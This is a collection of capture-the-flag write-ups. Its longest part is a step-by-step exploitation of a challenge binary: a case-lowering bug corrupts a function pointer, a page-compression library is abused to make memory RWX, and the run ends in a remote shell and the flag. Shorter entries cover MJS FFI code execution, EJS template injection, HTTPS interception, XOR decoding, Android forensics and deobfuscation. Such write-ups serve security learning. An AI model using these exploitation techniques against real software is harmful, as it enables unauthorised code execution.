Then the function `find_handler` is called with the tag name and its returnvalue is saved in a local variable. This function goes over a global list(`handlers`) of pairs consisting of a tag name and a corresponding handlerfunction. We see that there's only one handler defined; `handle_a` which notsurprisingly handles ``-tags.
When the parser is inside a tag and see an attribute, it will copy the value ofthat attribute onto the stack and call the handler associated with the currenttag. The handler is called with the attribute name as its first argument andthe attribute value (or `NULL` if the attribute has no value) as its secondargument.
When the parser sees a close tag it calls `handle_close_tag` which pops itemsoff `tags_stack` until a matching tag name is found. It does this because notall tags have a closing tag, e.g. ``.
Outside of tags the parser will call `handle_word` on each string delimited by acharacter other than letters and `-`.
With the overall functioning of the parser out of the way there are only twomore functions to reverse: `handle_word` and `handle_a`.
Both are very simple:
- `handle_word` calls `insert(g_words, word)` if `do_ignore` is `false`.- `handle_word` calls `insert(g_links, attr_value)` if `attr` is `"href"`.
So what does `insert` do? It's not a terribly complicated function, so we'lllist it here:
```.cvoid insert(void *list, const char *item) { int i; if (g_caseign) lower(item); for (i = 0; *((int *)list + 65 * i + 64) && (!g_unique && !g_count || strcmp((const char *)list + 260 * i, item)); i++); if (!*((unsigned char *)list + 260 * i)) strcpy((char *)list + 260 * i, item); *((int *)list + 65 * i + 64)++;```
This gives us a strong hint as to the structure of `g_words` and `g_links`:
```.cstruct list_item { char value[256]; int count;};struct list_item g_words[10000], g_links[10000];```
The sizes of 10'000 are a guess, but seem reasonable since `g_links` - `g_words`= `g_words` - `tags_stack` = 260 · 10'000.
*Organizer's note:*
> There are also no bounds checks on these lists; another red herring.
Now the above can be rewritten to
```.cvoid insert(struct list_item *list, const char *item) { int i; if (g_caseign) lower(item); for (i = 0; list[i].count; i++) { if ((g_unique || g_count) && 0 == strcmp(list[i].value, item)) break; } if (!list[i].value[0]) strcpy(list[i].value, item); list[i].count++;}```
So depending on `g_unique` and `g_count` this function goes through the list andfinds the first item with the same value / a count of 0.
We also see that if `g_caseign` is set we first lower-case the inserted item.
A look a `lower` reveals something like this:
```.cvoid lower(char *buf) { char *p, c; for (p = buf; c = *p; p++) { if ('%' == c) { p += 2; continue; } else if ('A' <= c && c <= 'Z') { *p |= 0x20; } }}```
Do you see the bug? This function tries to be clever about URL encoded strings.But what happens if a string ends in `'%'`. Then the line `p += 2` will skippast the terminating NUL-byte and happily keep lower-casing whatever follows thestring.
So what follows the string? Remember that the HTML parser in `count` copied thecurrent word / attribute value onto the stack. At the bottom of the stack wehave:
```.cchar value_or_word[256];void (*handler_for_current_tag)(char *, char *);```
There's only one possibility for `handler_for_current_tag` and that is`handle_a`, which lives at `0x442dab`. Calling `lower` on this pointer willturn it into `0x642dab`. We have `g_words` at `0x46aa00` and each item in thelist is 260 bytes, which lands us at:
```.python>>> divmod(0x642dab - 0x46aa00, 260)(7439, 111)```
That is, the 112th character of the 7440th parsed word.
*Organizer's note:*
> The only reason this binary handles HTTPS is to have an excuse to include a> large library such that `handle_a` is located at an address where calling> `lower` on it will change it.
Let's confirm. The plan is:
1. Enter an ``-tag so `handle_a` is copied onto the stack.1. Set attribute `"href"` to a long string ending in `'%'` so that when `handle_a` calls `lower` on it, it will change the function pointer on the stack.1. Have a second attribute such that the changed function pointer is called. This attribute does not need to have a value.
In terminal A:
```.sh$ python -c 'print("")' > foo$ python -m http.server --bind 127.0.0.1 8080Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...```
In terminal B:
```.sh$ env LD_LIBRARY_PATH=$PWD gdb ./words.elf(gdb) runStarting program: /home/user/words.elf> Ignore case=yes> Fetch http://localhost:8080/foo
Program received signal SIGSEGV, Segmentation fault.0x0000000000642dab in g_words ()(gdb)```
"But this address is not executable!" we hear you say. Don't worry. It's timeto look at `libsqz.so`.
## `libsqz.so`
There's more than one way to skin this cat. Reversing may not be the easiest.Poking and prodding while keeping a close look at `/proc/$(pidofwords.elf)/maps` may be enough to get the right idea. We don't know.
So we'll just tell you how it works.
As we saw earlier none of the symbols exposed by `libsqz.so` are actually usedfor anything. Using `readelf` we can see that the library defines aninitializer, `libsqz_init`, at `0x460`:
```.sh$ readelf -d libsqz.soDynamic section at offset 0xa008 contains 11 entries: Tag Type Name/Value 0x000000000000000c (INIT) 0x460 0x0000000000000004 (HASH) 0x120 0x0000000000000005 (STRTAB) 0x168 0x0000000000000006 (SYMTAB) 0x138 0x000000000000000a (STRSZ) 24 (bytes) 0x000000000000000b (SYMENT) 24 (bytes) 0x0000000000000007 (RELA) 0x9c20 0x0000000000000008 (RELASZ) 24 (bytes) 0x0000000000000009 (RELAENT) 24 (bytes) 0x000000006ffffff9 (RELACOUNT) 1 0x0000000000000000 (NULL) 0x0```
This function does three things:
- Allocate space for two dictionaries (`pages` and `mappings`) in a private heap.- Register a signal handler (`sigsegv_handler`) for `SIGSEGV`.- Start a new thread running the function `thread`.
Both `sigsegv_handler` and `thread` are rather simple. The former:
```.cvoid sigsegv_handler(int signum, siginfo_t *si) { if (!restore(si->si_addr)) { result = kill(getpid(), SIGKILL); }}```
And the latter:
```.cvoid thread() { for (;;) { squeeze(); usleep(100000); }}```
The function `squeeze` reads `/proc/self/maps` and unmaps any page that is notin the heap, the stack, `libsqz.so` itself or `libsqz.so`'s private heap.
But prior to being unmapped a page is first compressed using LZSS anddeduplicated using its SHA-1, then stored in the private heap. The `SIGSEGV`handler simply reverses this process, then continues.
The `pages` and `mappings` dictionaries are implemented as hash maps. We'llspare you the details but the prototypes look like this:
```.ctypedef struct _chain { uint8_t *key; void *elm; struct _chain *next;} chain_t;typedef struct { size_t keylen; unsigned int keymask; chain_t **buckets;} map_t;void map_init(size_t keylen, size_t nbuckets, map_t *mapout);bool map_insert(map_t *map, uint8_t *key, void *elm);bool map_lookup(map_t *map, uint8_t *key, void **elmout);bool map_member(map_t *map, uint8_t *key);bool map_pop(map_t *map, uint8_t *key, void **elmout);bool map_delete(map_t *map, uint8_t *key);```
The dictionary `pages` maps SHA-1 digests to `struct page` objects, and`mappings` maps page IDs to `struct mapping` objects. The structs are definedthus:
```.cstruct page { uint8_t hash[SHA1_DIGEST_SIZE]; unsigned int refs; uint8_t *data; size_t numb; int prot;}
struct mapping { size_t id; void *addr; struct page *page;}```
Towards the end of `squeeze` we have this snippet
```.cmapping = malloc(sizeof(struct mapping));mapping->addr = addr;mapping->page = page;mapping->id = (unsigned long)addr >> 12;if (map_insert(&mappings, (uint8_t*)&mapping->id, mapping)) { kill(getpid(), SIGKILL);}```
Where we can see that a page ID is just a page's address right shifted 12 bits.
We also see the pattern `kill(getpid(), SIGKILL)` again here. The same patternis found many places in the binary in various error scenarios.
There will be an entry in the `mappings` dictionary for each unmapped page, butonly one entry for each different page contents. When pages are mapped back in(by `restore`) the `refs` field in their entry in the `pages` dictionary goesdown, and when it hits 0 the entry is deleted.
But there is a problem: the protection flags for a page are stored in the`pages` dictionary. This means that protection flags are tied to the contentsof a page, not its address. This is clearly wrong, as different pagescontaining the same data can have different protection flags. So how does`libsqz.so` decide what flags to save?
In `squeeze` we find this code:
```.cprot = PROT_NONE;if ('r' == maps_line_prot[0]) { prot |= PROT_READ;}if ('w' == maps_line_prot[1]) { prot |= PROT_WRITE;}if ('x' == maps_line_prot[2]) { prot |= PROT_EXEC;}[...]page->prot |= prot;```
In other words, when a page is unmapped and another page with the same contentshas already been archived the protection bits of the new page are *added* to thestored page.
If it hasn't dawned on you yet, this means that if we can trick `libsqz.so` intounmapping two identical pages where one is mapped `RX` and the other `RW`, thenboth will be mapped `RWX` when they are mapped back in!
*Organizer's note:*
> This is why HTTP(S) responses are `mmap`'ed instead of `malloc`'ed; the latter> would place the data in the heap, which would prevent it from being unmapped.>> A fixed address is used to prevent `mmap` from choosing an address which> `libsqz.so` has already unmapped.>> The reason why the program is sometimes (often) killed when running> interactively on some systems (including this author's desktop) is lazy> loading of libraries, in particular `libresolv.so`. The problem here is that> the dynamic loader will call `mmap(NULL, ...)` and the returned address may be> one that has already been archived by `libsqz.so`. When the newly mapped> memory are then later unmapped `libsqz.so` will get confused, and kill the> process. The libc running on the remote host is such that the pages mapped> when `libresolv.so` is loaded forces the kernel to pick a new region (below> `libc` et al.). For local testing the same behavior can be achieved by> issuing a "Fetch SOMEURL" before `libsqz.so` has had time to unmap `libc`,> which explains why the program isn't killed when running non-interactively.>> Additionally, requesting raw IPs (or `localhost`) instead of hostnames> prevents some similar errors.
## Exploitation and debugging
At this point an inkling if an attack should start forming in the back of yourhead. Something like this:
- Request a "site" which is identical a few executable page in `words.elf`. Several pages are used to maximize the chance that the next step succeeds.- Wait until `libsqz.so` unmaps both the requested and the executable pages.- Request another "site" which is a page of all zero's. Since `getbuf` is a global variable this data will be read into the same page as the previous request.- Wait until `libsqz.so` unmaps the page.- All of BSS will now be mapped back in as `RWX` upon access.
Lets test it! Remember to copy back the original `libsqz.so` first.
In terminal A:
```$ dd if=words.elf of=foo bs=4096 count=1010+0 records in10+0 records out40960 bytes (41 kB, 40 KiB) copied, 0.000216397 s, 189 MB/s$ dd if=/dev/zero of=bar bs=4096 count=11+0 records in1+0 records out4096 bytes (4.1 kB, 4.0 KiB) copied, 9.1079e-05 s, 45.0 MB/s$ python -c 'print("")' > baz$ python -m http.server --bind 127.0.0.1 8080Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...```
In terminal B:
```$ (> echo Ignore case=yes> echo Fetch http://localhost:8080/foo> sleep 1> echo Fetch http://localhost:8080/bar> sleep 1> echo Fetch http://localhost:8080/baz) | env LD_LIBRARY_PATH=$PWD ./words.elf> > WORDS: elf> WORDS:> Killed```
That wasn't very enlightening, and attaching a debugger interferes too much withthe execution. Do you remember that `kill(getpid(), SIGKILL)` snippet in`sigsegv_handler`? If we change that to `kill(getpid(), SIGABRT)` we can get acore dump. In `libsqz.so` we have:
```[...] 400: e8 07 fe ff ff call 20c <getpid> 405: be 09 00 00 00 mov esi,0x9 40a: 89 c7 mov edi,eax 40c: 48 83 c4 08 add rsp,0x8 410: e9 ff fd ff ff jmp 214 <kill>[...]```
So let's change that 9 (`SIGKILL`) to a 6 (`SIGABRT`):
```$ dd if=<(echo -ne '\x06') of=libsqz.so bs=1 seek=$((0x406)) conv=notrunc```
And enable core dumps:
```$ ulimit -c unlimited```
And again in terminal B:
```$ (> echo Ignore case=yes> echo Fetch http://localhost:8080/foo> sleep 1> echo Fetch http://localhost:8080/bar> sleep 1> echo Fetch http://localhost:8080/baz) | env LD_LIBRARY_PATH=$PWD ./words.elf> > WORDS: elf> WORDS:> Aborted (core dumped)```
Great. Let's first confirm that execution actually stopped in `g_words`:
```$ gdb words.elf core(gdb) bt#0 0x00007f8a6dbf921b in ?? ()#1 <signal handler called>#2 0x0000000000642dab in g_words ()#3 0x000000000044344e in count ()#4 0x0000000000443f7f in main ()```
So far so good. We can use `readelf` to confirm that `0x642dab` is executable:
```$ readelf -l core[...] LOAD 0x00000000001ad000 0x000000000046b000 0x0000000000000000 0x0000000000279000 0x0000000000279000 RWE 0x1000 LOAD 0x0000000000426000 0x00000000006e4000 0x0000000000000000 0x000000000027b000 0x000000000027b000 RWE 0x1000 LOAD 0x00000000006a1000 0x000000000095f000 0x0000000000000000 0x0000000000002000 0x0000000000002000 RWE 0x1000[...]```
Notice that these three mappings are actually continuous, but since `libsqz.so`maps them back in one page at a time we may see them broken up like this.
Now, there's just one more problem: the only characters we can put into the`g_words` array are lower-case letters and `-`.
But there are fewer restrictions on `g_links` (only no NUL-bytes and noupper-case letters), so if we can get to there writing shellcode will be easier(i.e. not impossible).
It just so happens that the `ZF` bit in `EFLAGS` is unset when control goes to`g_words`, and `jne` is encoded as `"u"`. So we can repeatedly jump through`g_words` until we land in `g_links` where we can put our shellcode.
If we keep our shellcode below 254 characters we can even include it in the`"href"` attribute that triggers the lower-casing bug.
Let's start with a single jump to confirm. `jne $+99` is encoded as `"ua"`.Executing this code should land us at `0x642dab` + 99 = `0x642e0e`.
First generate a new `baz`. Remember, we need `"ua"` at the 112th byte of the7440th word.
```$ python -c 'print("X " * 7439 + "X"*111 + "ua")' > baz$ python -c 'print("")' >> baz```
Let' try that again, shall we?
```$ (> echo Ignore case=yes> echo Fetch http://localhost:8080/foo> sleep 1> echo Fetch http://localhost:8080/bar> sleep 1> echo Fetch http://localhost:8080/baz) | env LD_LIBRARY_PATH=$PWD ./words.elf> > WORDS: elf> WORDS:> Aborted (core dumped)$ gdb words.elf core(gdb) bt#0 0x00007f0686c3f21b in ?? ()#1 <signal handler called>#2 0x0000000000642e0e in g_words ()#3 0x000000000044344e in count ()#4 0x0000000000443f7f in main ()```
Notice that `0x642e0e`? Effing fantastic!
Writing an actual exploit from here should not be too difficult. See `doit.py`for the details. Note that you should put in the IP, not hostname, of yourlistening server, otherwise you may get into trouble with `libresolv.so` asmentioned above.
```$ python doit.py[*] '/home/user/words.elf' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...[+] Opening connection to xoxo.hack.fe-ctf.dk on port 1337: Donex.x.x.x - - [20/Nov/2022 17:52:53] "GET a HTTP/1.1" 200 -x.x.x.x - - [20/Nov/2022 17:52:55] "GET b HTTP/1.1" 200 -x.x.x.x - - [20/Nov/2022 17:52:57] "GET c HTTP/1.1" 200 -[*] Switching to interactive mode$ cat flagflag{a good^W^Wan idea taken to its natural conlusion}$``` |

In the encrypt.py file, the encrypt method was found to be xored with 0x66.
```pythonenc = open("flag.enc.txt","r").read()for i in enc:⠀ i = chr(ord(i)^0x66)⠀ print(i,end='')```
In the encrypt.py file, the encryption method was found to be xored with 0x66. I programmed a python code to double itFLAG : ```KCTF{ju5t_4_b45ic_x0r}``` |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-a-name-of-video-file-which-is-related-with-tanks) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-a-name-of-video-file-which-is-related-with-tanks) out
Same idea as before. Instead of audio files we were looking for video files. This time we had again 4 to look into and the hint that we are searching for the one regarding tanks.

So these 2 for example were way easier for us then to find for example the ICCID number. Oh and of course **tanks.mp4** was the right one. |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-a-name-of-device-user) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-a-name-of-device-user) out
So by now our time for the event kind of run out and our 2 to 3 hours we had were kind of close to an end. So we decided to do the once we know quickly and for sure so we catch some more points ( ͡❛ ‿‿͡❛ ).
Up until now i did not understood what a device user is. I thought it is the user presented when you set up your android device. So like with the multiple accounts. But it seems the linux representations of your current account to be ????? Whatever. This one was a long one for us cause we did not had really a clue other than what we found before.
So after some searching around in the net, there should be something called accounts.db which contains the local configure accounts and could have the account. It was not there but we found the mail address [email protected]. When we used that to search further, we found the Accountdata.pb in /data/com.google.android.googlequicksearchbox/files/AccountData.pb which had the display name for that account (i think it is the display name). "John Silver" was the next used to search further. That lead us to /data/com.google.android.apps.dynamite/databases/user_accounts/[email protected]/dynamite.db containing interesting names again.

So we found **John** which was wrong. But we remembered and tried **john** which then was correct (ー ー;) . So that was definitely not the right way to find that account. We were only able to pull that off cause it were only 5 accounts existing on that device and the whats app acc and the signal acc were for sure wrong. So not to many traces to search for which made it possible.
Once we had john we searched with that and which lead us to /userdata/system/users/0.xml which contained the local device user again with uppercase John but that would probably the right place to search instead our weird journey with some luck that the dynamite app stores that information's. |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-a-username-of-telegram-messenger) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-a-username-of-telegram-messenger) out
So that was quite easy cause of the tasks before we already found the accounts.db which not only had the email accounts also the other ones for the other applications.

So the account was **5719323092**. Maybe this one was way easier cause by now we were familiar with the image. |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-the-brand-vendor-of-phone) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-the-brand-vendor-of-phone) out
For the brand (vendor) of the phone we looked into the metadata which had the brand under the table Owner:

Funny when we tried "Samsung" as the solution we were told that this is wrong (╥﹏╥) . Next we tried "samsung" which then was right (⊙.⊙(☉̃ₒ☉)⊙.⊙). We learned that we probably found the solution in not the intended way ?? Whatever Flag: **samsung** |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#find-the-contact-related-to-russia) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#find-the-contact-related-to-russia) out
This time we needed to find the contact related to Russia. This was then with the support of the built in queries by Autopsy quite easy. We went to the contacts taps found the 14 contacts on the device and saw the whatsapp accounts within the wa.db file located in /data/com.whatsapp/databases/wa.db. From there we just needed to find the one associated with Russia.

Which in this case was **+74010724513**. |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#find-the-contact-related-to-belarus) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#find-the-contact-related-to-belarus) out
exact same thing as with [Find the contact related to Russia](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#find-the-contact-related-to-russia).

This time it was **+3751548766197**. |
**TLDR**
* It's a Java web application that uses vulnerable third-party component (Apache.CXF) without public exploit so we need to reverse engineer the patch or correctly understand the CVE description.* From the vulnerable third-party component, it's possible to download local file such as the WAR file.* We need to analyze the decompiled Java classes and defeat the obfuscation to identify a hidden backdoor. |
[MJS](https://github.com/cesanta/mjs) is a Javascript Engine "designed for microcontrollers with limited resources".
Of note, it integrates pointers to C structure and functions, into the engine as normal JS value.Furthermore, it allows pointer arthimatic on those values. Thus, we can take a pointer to an exposed function, and point it at an arbitrary other function instead.
Our approach to RCE is to create a pointer to MJS's Foreign Function Interface (FFI), and then call arbitrary libc functions.
[Full writeup](https://github.com/WilliamParks/ctf_writeups/tree/master/kalmar_ctf_2023/mjs) |
For a better view check our [githubpage](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-was-the-bluetooth-mac-address-of-the-device) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-was-the-bluetooth-mac-address-of-the-device) out
So we used our OSINT skills to figure out that this information should be in a file called bt_config.xml. Which regarding to other tips before was actually present on the image. Once found it was a piece of cake.

The ID according to the file is **e0:99:71:8e:05:d0** but the expected solution is in uppercase **E0:99:71:8E:05:D0**. No clue why this keeps happening. |
[](https://www.youtube.com/watch?v=Bs8FXRlV59Y "Video Title")
https://www.youtube.com/watch?v=Bs8FXRlV59Y |
Simplest way forward seemed to parse all packets and store the data transmission for each flag letter in a list and then OR all the values, which would return the first non-zero value. One thing that didn't fit nicely was that decoding the binary '\x00' resulted in the same value which messed up the OR logic (i.e. '\x00' OR 'k' returned '\x00') so I added extra logic to instead store 0 in the list whenever it was observed.
```# -*- coding: utf-8 -*-"""Created on Fri Mar 3 20:26:21 2023
"""from scapy.all import *
flag=""ans=[]# Initialise the answer list with 60 empty lists for each letter in the flagfor i in range(60): ans.append([])
open_pcap = rdpcap('swaal.pcap')
count = 0for packet in open_pcap: if packet['Raw'].load == b'\x00': ans[count%60].append(0) else: ans[count%60].append(packet['Raw'].load.decode()) count += 1
for i in range(60): flag += reduce(lambda x,y: x or y, ans[i])print(flag)``` |
Please see original writeup here:https://www.youtube.com/watch?v=diln4KD57xA
Solution:1. Bypass filtering with delimiter on nodejs render call2. SSTI into EJS3. Profit |
For a better view check our [githubpage](https://bsempir0x65.github.io/CTF_Writeups/VU_Cyberthon_2023/#what-is-a-name-of-audio-file-which-is-related-with-rifles-and-their-price) or [github](https://github.com/bsempir0x65/CTF_Writeups/tree/main/VU_Cyberthon_2023#what-is-a-name-of-audio-file-which-is-related-with-rifles-and-their-price) out
This one was quite simple with Autopsy and probably way harder with the recommended FTK Imager viewer. We just searched for any audio file by Mime type which resulted in only 4 files and are probably not part of the OS itself. We tried them out and the 4.th one was the right one. Yeah we tried it out cause extracting them just to hear if it the right one takes longer than copying 4 values and see which one is right (͠≖ ͜ʖ͠≖)?.

So the right one was **4_5956573053423979339.ogg**. By the way the 188 ones in the vorbis folder are probably the sounds from the OS itself. |
See video writeup here:https://www.youtube.com/watch?v=50Vfl4H9zSY
Solution:1.) Create SSH tunnel2.) Find certificate on CT3.) Setup HTTPS server to intercept flag |
# Summary
The first part of this challenge is just like in [Snake Jazz](https://gitlab.com/shalaamum/ctf-writeups/-/blob/master/FE-CTF%202022/snake-jazz/writeup.md), but instead of being able to read off the flag from memory, we will have to exploit a buffer overflow vulnerability to gain remote code execution. Note: The files mentioned here can be found in [this repository](https://gitlab.com/shalaamum/ctf-writeups/-/tree/master/FE-CTF%202022/snake-oil).
# Obfuscation layer from "Snake Jazz"
This was pretty much like with the "Snake Jazz" challenge, so see my [writeup](https://gitlab.com/shalaamum/ctf-writeups/-/blob/master/FE-CTF%202022/snake-jazz/writeup.md) for more details.
We are given two files, `runme.py` and `magic.py`. Executing the former we are prompted to enter our name, and are then greeted with our name, followed by a warning:```Please enter your name> testnameHello, testnameDon't break anything, kthxbai```
In `runme.py` we first import `magic.py`, which will define `_`. Then a huge expression involving `_` and various binary operations is evaluated. In `magic.py`, a `class B` is defined, and `_` is just defined as `B()`. Having already done "Snake Jazz", looking at the code it seems very plausible that again only deletion of `B` objects is the part of the execution that has effects we should focus on. So we again modify `magic.py` to print out calls to `__del__` that pass the initial `if not __.c:return` check, which was done in `magic2.py` and `runme2.py`.
If we execute `runme2.py` we obtain (additionally to what we already had) the following output:```__del__ called, object to reproduce:B(a=0x9103cf41a564e0c7d5c8026456b4ee384bfce6324d999493e2a2cf4e060cf6f20faa30c012de6b7fb95a93947d84a57774af31576b2cf7e6439ccb408bfec812e5f81ba582d39f29c07d47e27175a126d4da318264318209dfe4723431f42a8525259c2f11e4deb5150aa83ca6412c5832f7a8a63da96e98121be5c1715411f7517e60f931bc9ca052b5a104f5f7e7f022d584ff5d57e1c915e8a06f2d47f14c30ff7bda97a4dfa862129f018b92490c21e5724973cb2c1c9ea6178b3de251f0d99d56f24f7654317b383a98486624d345acf804f0126bf5644fbf87cf4f904120d94623a8c8de953ba2c376ceba1901c5d6a43a39573fbb2df9f5f98c176dd0376894ae6e05fbe8eebbadd0502cf649df73ec309a39c66f24eee62d53a9f264362054b78428e25c451c3c385809e46a8d92e1a284bf031a9265fbc84f588e4c855fd5666624d7c8d11067ddf4695e6c0273532dce64c8a17fa68a1eee2461725ecc5b52be3eeb368b53f8251803477351a566d9af09393b52251b0be5afabf69ce5dd18d4d9a0a5a85248d2ff96656ca6d2d7fb3d67bb02439690e4094b8eeee9539660e212ad6bf7e30ca882aba662a5aee944213c0f1241af7e579991c0343dbf47d700be90873aeef2863e4f3acb789a193e316250dfc0d72a1d3225076a0b5f8c2e724bbe95ad52391b0bfee1b9238a14a20f60e3f75ea367a81fac08c1dae778d5f0b1faa3a4bb33d6747b269e893172b0ba092af9b984423c05d6b955b4643803963e627f4417625e2ca04b849e2f84c32cea8413823783a0a384ac81e5779d194227873eaedce94a080ebc68cacd13b8f099e7c52658fa3835464c85bb6315d16d7cafa540c6d24dd0de4db27aafc730fc80d761e23f58f8532a1e2cd4ab0da165acd8beeff061f224c242b0104546615efff24f002404f4b64273d860816c0477c057eced1f33823d0e752c5876106ab3d26819bf8810526871fba5aeabe5d6bc8e8399a8f4e872ba2f42ab9bfdef04e4546a172685293f01c199447c0f5894d3b6acdfbae1dc80e578b0616c18c4361b7ef36573a3b06dc97507b85bd3794816f8864201cdb5edf51cd3e3f505a6e90927b78031815ee135a4ae39da7130979fb0ff1014a8a54e67af64c886ca6c5a9cdb3b61711e384e69f8ab52da091e07855ebcf91323d2113a6f06250838ae5c3078a814c7b9637901d0473b994bcf2e0eb23e68073f62cef494a4c40e3b2ace23e1163639a75bc4c37a05eaadf8e89909e3ae5a29023e0e16175ec1fd43b241d88dd1eae77af65f690, b=0x85c, c=0x9103cf41a564e0c7d5c8026456b4ee384bfce6324d999493e2a2cf4e060cf6f20faa30c012de6b7fb95a93947d84a57774af31576b2cf7e6439ccb408bfec812e5f81ba582d39f29c07d47e27175a126d4da318264318209dfe4723431f42a8525259c2f11e4deb5150aa83ca6412c5832f7a8a63da96e98121be5c1715411f7517e60f931bc9ca052b5a104f5f7e7f022d584ff5d57e1c915e8a06f2d47f14c30ff7bda97a4dfa862129f018b92490c21e5724973cb2c1c9ea6178b3de251f0d99d56f24f7654317b383a98486624d345acf804f0126bf5644fbf87cf4f904120d94623a8c8de953ba2c376ceba1901c5d6a43a39573fbb2df9f5f98c176dd0376894ae6e05fbe8eebbadd0502cf649df73ec309a39c66f24eee62d53a9f264362054b78428e25c451c3c385809e46a8d92e1a284bf031a9265fbc84f588e4c855fd5666624d7c8d11067ddf4695e6c0273532dce64c8a17fa68a1eee2461725ecc5b52be3eeb368b53f8251803477351a566d9af09393b52251b0be5afabf69ce5dd18d4d9a0a5a85248d2ff96656ca6d2d7fb3d67bb02439690e4094b8eeee9539660e212ad6bf7e30ca882aba662a5aee944213c0f1241af7e579991c0343dbf47d700be90873aeef2863e4f3acb789a193e316250dfc0d72a1d3225076a0b5f8c2e724bbe95ad52391b0bfee1b9238a14a20f60e3f75ea367a81fac08c1dae778d5f0b1faa3a4bb33d6747b269e893172b0ba092af9b984423c05d6b955b4643803963e627f4417625e2ca04b849e2f84c32cea8413823783a0a384ac81e5779d194227873eaedce94a080ebc68cacd13b8f099e7c52658fa3835464c85bb6315d16d7cafa540c6d24dd0de4db27aafc730fc80d761e23f58f8532a1e2cd4ab0da165acd8beeff061f224c242b0104546615efff24f002404f4b64273d860816c0477c057eced1f33823d0e752c5876106ab3d26819bf8810526871fba5aeabe5d6bc8e8399a8f4e872ba2f42ab9bfdef04e4546a172685293f01c199447c0f5894d3b6acdfbae1dc80e578b0616c18c4361b7ef36573a3b06dc97507b85bd3794816f8864201cdb5edf51cd3e3f505a6e90927b78031815ee135a4ae39da7130979fb0ff1014a8a54e67af64c886ca6c5a9cdb3b61711e384e69f8ab52da091e07855ebcf91323d2113a6f06250838ae5c3078a814c7b9637901d0473b994bcf2e0eb23e68073f62cef494a4c40e3b2ace23e1163639a75bc4c37a05eaadf8e89909e3ae5a29023e0e16175ec1fd43b241d88dd1eae77af65f690)```
The definition of `__init__` for `class B` in `magic2.py` does not actually take `a`, `b`, and `c` as parameters, so we modify `__init__` to do so, so that we can replace the complicated expression in `runme2.py` by a direct construction of the required objects as seen in the output above. We furthermore rename `__del__` to `run`, and remove various method functions such as `__lt__` of `class B` that are now not needed anymore (this does not require a lot of analysis, we can just delete some and see if the program still runs as before). This leads us to `magic3.py` and `runme3.py`.
# Roman numerals obfuscation layer
Now we have simplified the original `runme.py` a lot, but `magic3.py` still contains some obfuscation. At the start we find the following code that gets executed on import, followed by definitions of `class A` and `class B`.```pythonimport os,sys_ = 'aIaabVaacaXadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaLanaaaoaaapaaaqaaaraaa'\ 'saaataaauaaavaaawaaaxaaayaaaCaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaab'\ 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaac'\ 'eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaac'\ 'waacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad'\ 'paadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaae'\ 'iaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeDaaf'\ 'baafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaf'\ 'taafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaag'\ 'maagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaah'\ 'faahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaah'\ 'xaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaai'\ 'qaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaaj'\ 'jaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajMaakbaak'def __(a): b=sorted(_ for _ in enumerate(_)if _[True].isupper())[::~False] c='' d=False f=a while a: if a>=b[d][False]: c+=b[d][True] a+=~b[d][False]+True continue if a>=b[d][False]*(9-b[d][False]//b[-~d][False]%2)//0o12: a-=b[d][False] e=min(_[False]for _ in b if a+_[False]>=False) c+=dict(b)[e] c+=b[d][True] a+=e d=-~d setattr(sys.modules[__name__],c,f) return c__(True)[__(_)for(_)in(range(I+I,I+I+I+I+I+I+I+I+I+I+I+I))]{__((XI**_-I)//II):__(XI**_-I)for(_)in(range(I,V))}```So there is a global variable `_` that starts out as a string, then a function `__` is defined and called a bunch of times. We do not need to understand all of the code in `__`, but the crucial side effect that we can notice is that it sets a global variable in `setattr(sys.modules[__name__],c,f)`. So to keep track of what is going on, let us add a` print(f'{c} = {f}')`as the line before or after `setattr`. This change was done in `magic4.py` and `runme4.py`. Executing `runme4.py` we obtain the following output.```I = TrueII = 2III = 3IV = 4V = 5VI = 6VII 